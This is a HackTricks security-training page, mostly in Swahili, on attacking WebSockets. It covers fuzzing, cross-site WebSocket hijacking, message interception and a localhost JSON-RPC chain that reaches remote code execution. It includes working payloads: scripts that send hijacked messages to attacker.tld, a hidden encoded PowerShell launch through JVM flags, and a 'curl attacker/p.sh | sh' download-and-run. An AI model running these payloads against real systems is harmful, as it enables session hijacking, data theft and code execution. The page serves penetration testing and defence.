WebSocket Attacks

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

WebSockets ni nini

Muunganisho wa WebSocket unaanzishwa kupitia handshake ya awali ya HTTP na umeundwa kuwa ya muda mrefu, ukiruhusu ujumbe wa pande zote mbili wakati wowote bila hitaji la mfumo wa muamala. Hii inafanya WebSockets kuwa maalumu kwa programu zinazohitaji low latency or server-initiated communication, kama mitiririko ya data ya kifedha ya moja kwa moja.

Kuanzishwa kwa Muunganisho wa WebSocket

Maelezo ya kina kuhusu kuanzisha WebSocket connections yanaweza kupatikana here. Kwa muhtasari, muunganisho wa WebSocket kwa kawaida huanzishwa via client-side JavaScript kama inavyoonyeshwa hapa chini:

var ws = new WebSocket("wss://normal-website.com/ws")

Itifaki wss inaashiria muunganisho wa WebSocket uliolindwa na TLS, wakati ws inaonyesha muunganisho usiolindwa.

Wakati wa kuanzishwa kwa muunganisho, handshake hufanywa kati ya kivinjari na seva kupitia HTTP. Mchakato wa handshake unajumuisha kivinjari kutuma ombi na seva kujibu, kama ilivyoonyeshwa katika mifano ifuatayo:

Kivinjari hutuma ombi la handshake:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Jibu la handshake la Server:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Muunganisho unabaki wazi kwa kubadilishana ujumbe kwa pande zote mbili mara tu unapozinduliwa.

Mambo Muhimu ya WebSocket Handshake:

  • Vichwa Connection na Upgrade vinaashiria kuanzishwa kwa WebSocket handshake.
  • Kichwa Sec-WebSocket-Version kinaonyesha toleo la protocol la WebSocket linalotakiwa, kawaida 13.
  • Thamani ya nasibu iliyoincodwa kwa Base64 inatumwa kwenye kichwa Sec-WebSocket-Key, ikihakikisha kila handshake ni ya kipekee, jambo ambalo husaidia kuzuia matatizo na caching proxies. Thamani hii si kwa ajili ya authentication bali kuthibitisha kwamba jibu halijatengenezwa na seva au cache iliyo na mipangilio isiyo sahihi.
  • Kichwa Sec-WebSocket-Accept katika jibu la seva ni hash ya Sec-WebSocket-Key, ikithibitisha nia ya seva ya kufungua muunganisho wa WebSocket.

Vipengele hivi vinahakikisha mchakato wa handshake ni salama na wa kuaminika, na kuandaa njia kwa mawasiliano ya wakati-halisi yenye ufanisi.

Linux console

Unaweza kutumia websocat kuanzisha muunganisho ghafi na websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Au kuunda websocat server:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket miunganisho

Ikiwa utagundua kuwa clients wameunganishwa kwenye HTTP websocket kutoka kwenye mtandao wako wa ndani, unaweza kujaribu ARP Spoofing Attack ili kufanya MitM attack kati ya client na server.
Mara client anapojaribu kuunganishwa kwako unaweza kisha kutumia:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Uorodheshaji wa Websockets

Unaweza kutumia chombo https://github.com/PalindromeLabs/STEWS kugundua, fingerprint na kutafuta vulnerabilities katika websockets kwa njia ya moja kwa moja.

Vifaa vya Debug ya Websocket

  • Burp Suite inaunga mkono MitM websockets communication kwa njia inayofanana sana na ile ya mawasiliano ya kawaida ya HTTP.
  • Kiendelezi cha socketsleuth cha Burp Suite kitakuwezesha kusimamia vizuri zaidi mawasiliano ya Websocket ndani ya Burp kwa kupata history, kuweka interception rules, kutumia match and replace rules, kutumia Intruder na AutoRepeater.
  • WSSiP: Fupi ya “WebSocket/Socket.io Proxy”, chombo hiki kilichoandikwa kwa Node.js kinatoa user interface ya capture, intercept, send custom messages na kuonyesha mawasiliano yote ya WebSocket na Socket.IO kati ya client na server.
  • wsrepl ni interactive websocket REPL iliyoundwa mahsusi kwa penetration testing. Inatoa kiolesura cha kutazama incoming websocket messages and sending new ones, pamoja na framework rahisi kutumia kwa automating mawasiliano haya.
  • https://websocketking.com/ ni tovuti ya kuwasiliana na tovuti nyingine kwa kutumia websockets.
  • https://hoppscotch.io/realtime/websocket miongoni mwa aina nyingine za mawasiliano/protocols, inatoa tovuti ya kuwasiliana na tovuti nyingine kwa kutumia websockets.

Kudekripta Websocket

Maabara ya Websocket

Katika Burp-Suite-Extender-Montoya-Course una msimbo wa kuanzisha wavuti ukitumia websockets na katika this post unaweza kupata maelezo.

Websocket Fuzzing

Kiendelezi cha Burp Backslash Powered Scanner sasa kinaruhusu kufuzz pia WebSocket messages. Unaweza kusoma taarifa zaidi kuhusu hili here.

WebSocket Turbo Intruder (Burp extension)

WebSocket Turbo Intruder ya PortSwigger inaleta Turbo Intruder–style Python scripting na high‑rate fuzzing kwa WebSockets. Sakinisha kutoka BApp Store au kutoka source. Inajumuisha vipengele viwili:

  • Turbo Intruder: high‑volume messaging kwa single WS endpoint kwa kutumia custom engines.
  • HTTP Middleware: inaweka local HTTP endpoint inayoforward bodies kama WS messages juu ya persistent connection, hivyo scanner yoyote ya HTTP‑based inaweza kuchunguza WS backends.

Mfano wa msingi wa script ya kufuzz WS endpoint na kuchuja responses zinazohusiana:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Tumia decorators kama @MatchRegex(...) kupunguza kelele wakati ujumbe mmoja unasababisha majibu mengi.

Daraja WS nyuma ya HTTP (HTTP Middleware)

Funika muunganisho wa WS unaodumu na peleka miili ya HTTP kama ujumbe za WS kwa ajili ya upimaji wa kiotomatiki kwa scanners za HTTP:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Kisha tuma HTTP kwa ndani; mwili unatumwa kama ujumbe wa WS:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Hii inakuwezesha kuendesha backend za WS huku ukichuja matukio “ya kuvutia” (kwa mfano, makosa ya SQLi, auth bypass, command injection behavior).

Socket.IO handling (handshake, heartbeats, events)

Socket.IO inaongeza framing yake juu ya WS. Tambua hilo kupitia query parameter inayohitajika EIO (kwa mfano, EIO=4). Weka session hai kwa Ping (2) na Pong (3) na anza mazungumzo na "40", kisha emit events kama 42["message","hello"].

Mfano wa Intruder:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Toleo la HTTP adapter:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Kugundua server‑side prototype pollution kupitia Socket.IO

Kwa kufuata PortSwigger’s safe detection technique, jaribu kuchafua Express internals kwa kutuma payload kama:

{"__proto__":{"initialPacket":"Polluted"}}

If greetings or behavior change (e.g., echo includes “Polluted”), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section. See:

WebSocket race conditions with Turbo Intruder

The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (double‑spend, token reuse, state desync). Start from the example script and tune concurrency in config().

  • Jifunze mbinu na mbadala katika Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Tengeneza WS frames ambazo header inatangaza payload length kubwa lakini hazitumi mwili. Baadhi ya WS servers huamini length na pre‑allocate buffers; kuweka karibu na Integer.MAX_VALUE kunaweza kusababisha Out‑Of‑Memory na remote unauth DoS. Angalia script ya mfano.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Enable the WS Logger to capture and correlate messages using internal IDs.
  • Use inc*/dec* helpers on Connection to tweak message ID handling in complex adapters.
  • Decorators like @PingPong/@Pong and helpers like isInteresting() reduce noise and keep sessions alive.

Operational safety

WS fuzzing yenye rate ya juu inaweza kufungua connections nyingi na kutuma maelfu ya messages kwa sekunde. Malformed frames na rates za juu zinaweza kusababisha DoS halisi. Tumia tu pale ambapo imeidhinishwa.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, inayojulikana pia kama cross-origin WebSocket hijacking, ni kesi maalum ya Cross-Site Request Forgery (CSRF) inayoathiri WebSocket handshakes. Udhaifu huu hutokea wakati WebSocket handshakes zinathibitishwa tu kwa kupitia HTTP cookies bila CSRF tokens au hatua nyingine za usalama.

Washambuliaji wanaweza kutumia hili kwa ku-host ukurasa wa wavuti wenye madhara ambao unaanzisha cross-site WebSocket connection kwa application iliyo dhaifu. Kwa hivyo, connection hii inachukuliwa kama sehemu ya session ya mwathirika na application, ikitumia ukosefu wa ulinzi wa CSRF katika mekanismi ya kushughulikia session.

Ili shambulio hili lifanye kazi, yanahitajika yafuatayo:

  • The websocket authentication must be cookie based
  • Cookie lazima iwe inapatikana kutoka server ya mwashambuliaji (hii kwa kawaida ina maana SameSite=None) na hakuna Firefox Total Cookie Protection imewezeshwa katika Firefox na hakuna blocked third-party cookies katika Chrome.
  • The websocket server must not check the origin of the connection (or this must be bypasseable)

Pia:

  • Ikiwa authentication inategemea connection ya ndani (kwa localhost au kwenye local network) shambulio litakuwa linawezekana kwa kuwa hakuna ulinzi wa sasa unaolizuia (check more info here)

Origin check disabled in Gorilla WebSocket (CheckOrigin always true)

Kwenye Gorilla WebSocket servers, kuweka CheckOrigin ili kila mara return true inakubali handshakes kutoka Origin yoyote. Wakati WS endpoint pia inakosa authentication, ukurasa wowote unaofikiwa na browser ya mwathirika (Internet au intranet) unaweza ku-upgrade socket na kuanza kusoma/tuma messages cross-site.

<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>

Athari: exfiltration ya data zinazotiririka kwa wakati halisi (kwa mfano, captured emails/notifications) bila user credentials wakati Origin yoyote inakubaliwa na endpoint inapita authentication.

Shambulio Rahisi

Tambua kwamba wakati wa kuanzisha websocket connection, cookie inatumwa kwa server. server inaweza kuitumia kuhusisha kila maalum user na websocket session yake kulingana na cookie iliyotumwa.

Kisha, kwa mfano, kama websocket server inaporudisha historia ya mazungumzo ya mtumiaji ikiwa msg yenye “READY” imetumwa, basi simple XSS itayoanzisha connection ( cookie itatumwa kiotomatiki ili kuidhinisha mtumiaji mwathirika) kwa kutuma “READY” itaweza kupata historia ya mazungumzo.:

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie na subdomain tofauti

In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ mshaliti alifanikiwa execute arbitrary Javascript in a subdomain ya domain ambapo mawasiliano ya websocket yalikuwa yanafanyika. Kwa kuwa ilikuwa subdomain, cookie ilitumwa, na kwa sababu Websocket didn’t check the Origin properly, ilikuwa inawezekana kuwasiliana nayo na steal tokens from it.

Kupora data kutoka kwa mtumiaji

Nakili web application unayotaka kuiga (the .html files for example) na ndani ya script ambapo mawasiliano ya websocket yanatokea ongeza code hii:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Sasa pakua faili wsHook.js kutoka https://github.com/skepticfx/wshook na uhifadhi ndani ya folda yenye faili za wavuti.
Ukiweka programu ya wavuti ikioneshwa hadharani na kumfanya mtumiaji aungane nayo, utaweza kuiba ujumbe unaotumwa na unaopokelewa kupitia websocket:

sudo python3 -m http.server 80

CSWSH Ulinzi

Shambulio la CSWSH linatokana na ukweli kwamba mtumiaji ataungana na ukurasa wa hatari ambao uta open a websocket connection kwa ukurasa wa wavuti ambapo mtumiaji tayari ameunganishwa na utauthentikisha kama yeye kwani ombi litatuma cookies za mtumiaji.

Sasa hivi, ni rahisi sana kuzuia tatizo hili:

  • Websocket server checking the origin: The websocket server inapaswa kila wakati kukagua kutoka wapi mtumiaji anakuja ili kuzuia kurasa zisizotarajiwa kuungana nazo.
  • Authentication token: Badala ya kuitegemea authentication kwenye cookie, websocket connection inaweza kutegemea token inayozalishwa na server kwa ajili ya mtumiaji ambayo haijulikani kwa attacker (kama anti-CSRF token).
  • SameSite Cookie attribute: Cookies zenye thamani ya SameSite kama Lax au Strict hazitatumwa kutoka kwa ukurasa wa mshambuliaji wa nje kwenda kwa server ya mwathiri, kwa hivyo, uthibitisho unaotegemea cookie hautafanikiwa. Kumbuka kwamba Chrome sasa huweka thamani Lax kwa cookies ambazo hazijatishiwa bendera hii, kufanya hili kuwa salama zaidi kwa default. Hata hivyo, kwa dakika 2 za mwanzo baada ya cookie kuundwa itakuwa na thamani None, na kuifanya iwe dhaifu kwa kipindi hicho kidogo (pia inatarajiwa kwamba hatua hii itaondolewa wakati fulani).
  • Firefox Total Cookie Protection: Total Cookie Protection inafanya kazi kwa kutenganisha cookies kwa tovuti ambayo zimetengenezwa. Kimsingi kila tovuti ina partition yake ya uhifadhi wa cookie ili kuzuia wahusika wa tatu kuunganisha historia ya kuvinjari ya mtumiaji. Hii inafanya CSWSH unusable kwani tovuti ya mshambuliaji haitapata ufikiaji wa cookies.
  • Chrome third-party cookies block: Hii pia inaweza kuzuia kutumwa kwa cookie ya mtumiaji aliyethibitishwa kwa websocket server hata ikiwa SameSite=None.

Localhost WebSocket abuse & browser port discovery

Desktop launchers mara nyingi huanzisha helpers (mfano, CurseForge’s CurseAgent.exe) ambazo zinafichua JSON-RPC WebSockets kwenye 127.0.0.1:<random_port>. Browser does not enforce SOP on loopback sockets, hivyo ukurasa wowote wa Web unaweza kujaribu handshake. Ikiwa agent inakubali arbitrary Origin values na kuruka uthibitisho wa sekondari, uso wa IPC unaweza kudhibitiwa kwa mbali moja kwa moja kutoka JavaScript.

Kugundua methods zilizofichuliwa

Rekodi kikao halali ili ujifunze mkataba wa protocol. CurseForge, kwa mfano, hutuma frames kama {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} ambapo name ni RPC method na args ina vitu vilivyopangwa (GUIDs, resolution, flags, n.k.). Mara muundo huu ukijulikana unaweza kuitisha methods kama createModpack, minecraftGetDefaultLocation, au kazi nyingine yoyote yenye mamlaka moja kwa moja kutoka ukurasa uliyoingizwa.

Ugunduzi wa port kwa kutumia browser

Kwa sababu helper inabind kwenye port ya juu isiyokabirika, exploit kwanza inafanya brute-force ya localhost kupitia WebSockets. Chromium-based browsers zimeruhusu takriban ~16k failed upgrades kabla ya throttling, ambayo ni ya kutosha kutembea kwenye anuwai ya ephemeral; Firefox kwa kawaida hutumbukia crash au kuisha kufanya kazi baada ya makosa mia chache, hivyo PoCs za vitendo mara nyingi hualenga Chromium.

Minimal browser scanner ```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

Mara tu muunganisho unapopitia handshake na kurudisha data maalum ya itifaki, tumia tena socket hiyo kwa mnyororo wa RPC.

Kuinganisha JSON-RPC methods kuwa RCE

CurseForge exploit inaunganisha wito mbili zisizoidhinishwa:

  1. createModpack → hurudisha MinecraftInstanceGuid mpya bila mwingiliano wa mtumiaji.
  2. minecraftTaskLaunchInstance → inaanzisha GUID hiyo wakati ikikubali bendera za JVM yoyote kupitia AdditionalJavaArguments.

Chaguzi za uchunguzi za JNI/JVM kisha hutoa primitive ya RCE tayari-tumika. Kwa mfano, weka kikomo kwa metaspace ili kulazimisha crash na tumia error hook kwa utekelezaji wa amri:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

On Unix targets simply swap the payload with /bin/sh -c 'curl https://attacker/p.sh | sh'. This works even when you cannot touch the application code—controlling the JVM CLI is enough.

Mfumo huu wa “create resource → privileged launch” unaonekana mara nyingi kwenye updaters na launchers. Kila inapokuwa method (1) inatoa server-tracked identifier na method (2) inatekeleza code au kuanzisha process na identifier hiyo, angalia kama user-controlled arguments zinaweza kuingizwa.

Race Conditions

Race Conditions in WebSockets are also a thing, angalia habari hii ili ujifunze zaidi.

Other vulnerabilities

As Web Sockets are a mechanism to send data to server side and client side, depending on how the server and client handles the information, Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.

WebSocket Smuggling

This vulnerability could allow you to bypass reverse proxies restrictions by making them believe that a websocket communication was stablished (even if it isn’t true). This could allow an attacker to access hidden endpoints. For more information check the following page:

Upgrade Header Smuggling

References

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks